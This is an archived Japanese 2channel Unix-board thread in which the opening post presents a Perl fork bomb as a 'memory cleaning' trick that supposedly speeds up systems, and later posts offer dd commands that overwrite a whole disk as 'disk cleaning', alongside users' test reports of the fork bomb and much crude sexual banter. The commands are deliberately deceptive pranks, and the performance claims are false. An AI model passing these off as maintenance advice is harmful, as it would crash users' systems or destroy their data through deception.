トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0402名無しさん@お腹いっぱい。NGNG
NTFSはFAT32より速いです
0403394NGNG
>>399
えっと、並列化するようになったのはXPからね。
Windows 2000の起動は並列実行していないのでむちゃくちゃ遅い。

それと比較の方法がunfairだと思う。
Windowsと起動時間を比較するならWindowsと同等の機能をもてるだけのデーモンを起動し、
xdm立ち上げるくらいはしないと...

0404名無しさん@お腹いっぱい。NGNG
>>403
同等の機能を持つデーモンってなんですかね。
鯖に使ってるわけじゃないんで、Winの方は起動時に何もさせてないんだけど。
スタートアップファイルはログイン後に読み込まれるもんだし。
特別なサービス使ってるわけでもないし、無効にしても大丈夫なもんは極力無効にしてるんでね。

xdmでもkdeもgdmでも
1分もかかんないっすね。
20〜25秒かな。
まあ、無茶苦茶な設定にすればWin並に時間かける事は可能だろうけど
使わなくてもいいようなデーモンまでなんでもかんでも入れちゃえば
1分2分はかかるかなぁ。そしたらWinが持つ機能よりも多機能になっちゃうよ。
vnc apache named ssh sendmail finger bind qmail tripwaire Oracle
こんくらいやればいけそう。

2kはむちゃくちゃ遅いとのことですけど
XPより速いと思うのは、俺だけ?
Winの中じゃかなり速い部類だと思うんだけどいかがなものか。

>>400も言ってるけど、語るほど重要でもないよね。
別に一方が数秒で起動して、他方が1分かかってもいいんでないの?
0405名無しさん@お腹いっぱい。NGNG
ウチは電源入れてから起動するまで22時間かかる。
0406名無しさん@お腹いっぱい。NGNG
>>404
> 2kはむちゃくちゃ遅いとのことですけど
> XPより速いと思うのは、俺だけ?
計測はしてないが2kは起動遅いよ。XPの方がはやい。
0407名無しさん@お腹いっぱい。NGNG
じゃあ結論としてはこうね

Linux *BSD > XP > 2k
0408403NGNG
>>404
Windowsくんは何もしないでも動いているサービスがあるので
それらと同じようなサービスをするものすべてを動かすという意味。
たとえば、Samba,automount daemon,ntpなど。

> 2kはむちゃくちゃ遅いとのことですけど、
並列実行するのでマシンの処理速度はかなり効いてくると思う。
並列処理するとコンテキストスイッチのオーバーヘッドがつくしね。

>>407
そうか?Linuxはそんなに起動が速いか?
FreeBSDと比べて遅いと感じた記憶があるけれど、最近は変わったのかな。
0409名無しさん@お腹いっぱい。NGNG
次は起動時間厨か。
0410名無しさん@お腹いっぱい。NGNG
>>401
> ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ

2.5 インチ系はしらんが, 3.5 インチドライブって
スピンアップの時に一番ストレスかかるんだが...

おれは, 一度火をいれた disk はよほどのことがな
い限り電源落さないけど...

# 冷却はしっかりやっとく必要はあるけど...
0411名無しさん@お腹いっぱい。NGNG
>>408
そうしたところで、Win程遅くなることはないよ
LinuxにしてもFreeBSDにしてもね。

うちのLinuxはkernel読み出してから7秒後にログイン可能だ。
環境が許せば、LinuxBIOSなんてのを使うと3秒程度になるらしい。

Pentium 130Mhz
Mem 48MB
HDDはDMA無し

#Win2kだと3分以上はかかる。XPはインストールしようとすら思わなかった。
0412名無しさん@お腹いっぱい。NGNG
XPは2秒で起動する!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0413名無しさん@お腹いっぱい。NGNG
ウソツキキタ━━━━━━(゚∀゚)━━━━━━ !!!!!
0414名無しさん@お腹いっぱい。NGNG
クロレッツXP
0415名無しさん@お腹いっぱい。NGNG
ケンシロウでも2秒は無理。
0416名無しさん@お腹いっぱい。NGNG
>>1
すばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。

# dd if=/dev/zero of=(以下略
0417名無しさん@お腹いっぱい。NGNG
それ廃棄前にやってたなぁ。
ある意味クリーニング。

女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。
0418名無しさん@お腹いっぱい。NGNG
>>417
そんな女嫌だなぁ。
0419名無しさん@お腹いっぱい。NGNG
>>417
それだったら/dev/zeroよりも/dev/urandomのほうがよくないかな。
ほんとうはさらにこれのXORを書いて、さらに/dev/urandomがよかったような...
# dd if=/dev/urandom of=あぼーん対象ディスク

でも、女の子が下着を捨てるときにはさみで細切れというのは聞いたことがあるな。
個人情報が書かれたものを捨てるときにシュレッダーにかけるのと同じようなもんだと
思うからもれはさほど抵抗はないが。
もれの女の下着で他の男にハァハァされるのは嫌だし。
0420名無しさん@お腹いっぱい。NGNG
コマンドを最後までかかない>>416は小心者。

たしかにやっちゃう人出そうだけれども。
0421名無しさん@お腹いっぱい。NGNG
>>418はそんなことされるとオカズがなくなっちゃうからムカツク
そのまま捨てろ と言いたいのではなかろうか。
0422名無しさん@お腹いっぱい。NGNG
変態が集うスレはここですか?
0423名無しさん@お腹いっぱい。NGNG
変態は418だけで十分です
0424418NGNG
なんで俺が変態なんだよー
0425名無しさん@お腹いっぱい。NGNG
>>424
>>421の解釈が客観的にみて妥当だから
0426418NGNG
>>425
ただ俺は、そんな自意識過剰な女は嫌だってだけなんだけどね。

もう、そんなことを言ってももう聞いてもらえませんね。
すまなかったよ。変態として生きていきます。
0427名無しさん@お腹いっぱい。NGNG
もう来るなよ、変態。
0428名無しさん@お腹いっぱい。NGNG
>>426
ねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
0429名無しさん@お腹いっぱい。NGNG
3高
0430名無しさん@お腹いっぱい。NGNG
個人を特定したパンツ泥棒というより
無差別的な泥棒の場合

女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
0431名無しさん@お腹いっぱい。NGNG
パンツをそのまま捨てると野良パンツが寄って来て住み着いたりする。
夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。

 だ か ら 切 り 刻 ん で 捨 て て や る の さ
0432名無しさん@お腹いっぱい。NGNG
ワイルドパンツに生存権を!!
- 野良ぱんつの蒸れがデモ行進
0433ワイルドパンツNGNG
土曜の午後仕事で洗濯機を走らせていた
洗濯カゴからはみ出すブラ&ズロース
昔よくマスかいたパンティー

へへいへい♪
0434名無しさん@お腹いっぱい。NGNG
変態が居座っているスレはここですか?
0435思い出の渚NGNG
ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん

股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
0436名無しさん@お腹いっぱい。NGNG
>>431
死ね気違い
0437名無しさん@お腹いっぱい。NGNG
8243931931
0438名無しさん@お腹いっぱい。NGNG
ぱんつのしみくさいくさい
0439名無しさん@お腹いっぱい。NGNG
うちのパンツしりませんか?
0440名無しさん@お腹いっぱい。NGNG
>>436
>>437
板違い
0441名無しさん@お腹いっぱい。NGNG
パンツを切り刻んでる姿を想像してボッキした香具師挙手
0442名無しさん@お腹いっぱい。NGNG
マゾっけのある変態がいるスレはここですか?
0443名無しさん@お腹いっぱい。NGNG
サドっけがあります
0444名無しさん@お腹いっぱい。NGNG
佐渡それは悲しい佐賀
0445名無しさん@お腹いっぱい。NGNG
>>439
僕の右手知りませんか?
0446名無しさん@お腹いっぱい。NGNG
神の左手悪魔の右手
0447名無しさん@お腹いっぱい。NGNG
>>445
行方不明になったのか?
0448名無しさん@お腹いっぱい。NGNG
ミギーか手っちゃんなんだろ、>>445の右手は。
0449名無しさん@お腹いっぱい。NGNG
(゜o゜ ) ………
0450名無しさん@お腹いっぱい。NGNG
( ゚д゚)ポカーン
0451名無しさん@お腹いっぱい。NGNG
( ゚д゚)カポーン
0452名無しさん@お腹いっぱい。NGNG
男でもパンツは切り刻んでから捨てろ。
変態ホモにハァハァされてるかもしれないぞ。
0453ホモNGNG
>>452
むしろ光栄だな
0454名無しさん@お腹いっぱい。NGNG
ホモはホモサピエンスの略である。
0455名無しさん@お腹いっぱい。NGNG
ホモはホモ牛乳の略である。
0456名無しさん@お腹いっぱい。NGNG
ユニックスにメモリクリーニングなど必要ない!!




ーーーーーーー糸冬了ーーーーーーー
0457名無しさん@お腹いっぱい。NGNG
>>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
0458名無しさん@お腹いっぱい。NGNG
ついでに石鹸水でジャブジャブ洗っとけ
0459名無しさん@お腹いっぱい。NGNG
>>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
0460名無しさん@お腹いっぱい。NGNG
( ゚д゚)ポカーン
0461名無しさん@お腹いっぱい。NGNG
クリーニングしない椰子はPCから発火して焼け氏ね。
0462名無しさん@お腹いっぱい。NGNG
ddでディスククリーニングしちゃった香具師はいますか
0463名無しさん@お腹いっぱい。NGNG
クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
0464名無しさん@お腹いっぱい。NGNG
>>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200

間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
0465名無しさん@お腹いっぱい。NGNG
>>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ
0466名無しさん@お腹いっぱい。NGNG
>>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。

Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
0467名無しさん@お腹いっぱい。NGNG
あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
0468名無しさん@お腹いっぱい。NGNG
ドル箱を積みましょう。
0469名無しさん@お腹いっぱい。NGNG
ジャンジャンバリバリ
0470名無しさん@お腹いっぱい。NGNG
あの・・・
Windowsって何ですか?
そんな古臭いOSなんてもう使えませんよ。

ま、ともかく
*WindowsXPプリインストールPCを買う奴:気違い
*WindowsXPを買う奴:世界の経済を狂わせる奴
*WindowsXPをMXとかからダウンロードする奴:世界経済を安定化させる勇者

どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。

それでなければ、OpenBSDでもインストール汁

0471名無しさん@お腹いっぱい。NGNG
M$に嫉妬するなよ。
0472名無しさん@お腹いっぱい。NGNG
釣れた釣れた
0473名無しさん@お腹いっぱい。NGNG
OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ?
0474名無しさん@お腹いっぱい。NGNG
>>470
独り言はhttp://etc.2ch.net/hikky/でやってくれ。

>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
0475名無しさん@お腹いっぱい。NGNG
>>474
煽りに親切すぎ
でも勉強になった
0476名無しさん@お腹いっぱい。NGNG
リナックス氏ね
0477名無しさん@お腹いっぱい。NGNG
だから、そのスクリプトを入力をすれば氏ぬってば
0478名無しさん@お腹いっぱい。NGNG
死なないんですけど
0479名無しさん@お腹いっぱい。NGNG
$ perl -e 'while (1) { fork; }'
で、氏なないってのかい?
0480名無しさん@お腹いっぱい。NGNG
死なないな
つか、frokしただけで死ぬかよ
0481名無しさん@お腹いっぱい。NGNG
>>479
スレをよく嫁
ガイシュツすぎてつまらん新しいネタもってこいやヴォケ
0482名無しさん@お腹いっぱい。NGNG
>>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた

これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
0483名無しさん@お腹いっぱい。NGNG
犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。
0484名無しさん@お腹いっぱい。NGNG
>>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個?
2.4.20-ck6でも検証したけど同じく死なないよ。

たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの?
0485名無しさん@お腹いっぱい。NGNG
いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。

何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
0486名無しさん@お腹いっぱい。NGNG
>>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。

その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。

その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。

どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)

ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
0487名無しさん@お腹いっぱい。NGNG
debianは氏んだ
0488名無しさん@お腹いっぱい。NGNG
単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
0489名無しさん@お腹いっぱい。NGNG
>>487
氏ななかったよ。

% uname -r
2.6.0-test10
0490名無しさん@お腹いっぱい。NGNG
ち……………ちんこ!
0491名無しさん@お腹いっぱい。NGNG
まんこ!
0492名無しさん@お腹いっぱい。NGNG
なんじゃこりゃあああああああああああああああああああああ
かたまった!!!!!!!!!!!!!!!!!!!!!!!!
0493名無しさん@お腹いっぱい。NGNG
>>492が勃起したらしいです
0494名無しさん@お腹いっぱい。NGNG
つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ
0495名無しさん@お腹いっぱい。NGNG
プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
0496名無しさん@お腹いっぱい。NGNG
RedHat9 kernel2.4.20 user落ちない root落ちる (userでも落とせなくはない)
0497名無しさん@お腹いっぱい。NGNG
Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない

番外
FreeBSD 4.8R user 落ちない root 落ちない
0498名無しさん@お腹いっぱい。NGNG
>プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

DOS???
0499_NGNG
>>398
Appollo Domain の Aegisには ACLはいってましたが?
つーか、それだって最初じゃないよなぁ。

古れすすまんのぉ。
0500_NGNG
>>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。

vmのいじめ方しらない香具師おおいな。
0501名無しさん@お腹いっぱい。NGNG
知ってる人キタ━ヾ(   )ノ゛ヾ( ゚д)ノ゛ヾ(゚д゚)ノ゛ヾ(д゚ )ノ゛ヾ(  )ノ゛━━!!

じゃあ、そのイジメかたとやらを書いてみてはいかが?
■ このスレッドは過去ログ倉庫に格納されています